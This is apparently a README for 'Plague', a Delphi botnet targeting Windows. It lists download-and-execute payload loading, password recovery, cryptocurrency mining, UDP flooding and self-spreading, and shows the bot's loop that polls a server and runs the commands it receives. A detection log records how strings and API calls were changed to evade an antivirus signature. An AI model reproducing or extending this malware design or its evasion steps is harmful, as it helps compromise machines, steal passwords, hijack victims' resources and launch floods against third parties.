Plague

Just and older botnet, migrated from a private BitBucket repo. Written in Delphi, targeting Windows computers. Plague is/was capable of spreading automatically using multiple lateral movement vectors.

Features

Basic Client Functions

• Restart
• Update
• Uninstall

File Functions

• Download File
• Upload File

Module Execution and Exploitation Functions

• Download and Execute [Drop method]
• Download and Execute [In-memory method]
• Download and Execute [DLL in-memory method]
• Password Recovery
• XMR Mining
• UDP Flood

Control over the Spreading mechanisms

Basic execution flow

The basic execution loop is defined in the main unit (Plague.lpr). Once this loop is reached, the execution of the bot instance stays essentially the same.

Repeat
  Net.GetCommands; //Download the current command list
  For J:=1 to Net.CommandCount do Begin //Iterate through the available commands
    if Net.Commands[J].Type='Abort' then Begin //If an Abort command is found
      if CommandUnderExecution(Net.Commands[J]) then //and the given command is under execution
        AbortCommand(Net.Commands[J]); //then abort it
    end else Begin //If the command is not an Abort
      if Not(CommandUnderExecution(Net.Commands[J])) then Begin //and it's awaiting execution
        I:=FindAPlace; //then find an empty place in the Worker Array
        NewWorker(I, Net.Commands[J]); //and create a new Worker to execute the command.
      end;
    end;
  End;
  Sleep(Delay); //Wait before contacting the server again
Until False; //Endless loop

Screenshots

Detection Log

1/29/2019 --> Eset NOD32 - a variant of Win32/Agent.TMP trojan

• Tools --> OpenURL --> ShellExecute changed to ShellExecuteW
• CmdWorker --> Execute --> Mine --> String config.json moved to Protected String Storage
• CmdWorker --> Execute --> MemExec --> String MemExec added to String Table as bb32d835
• CmdWorker --> Execute --> DropExec --> String DropExec added to String Table as 896bb1db
• CmdWorker --> Execute --> Download --> String Download successful. moved to Protected String Storage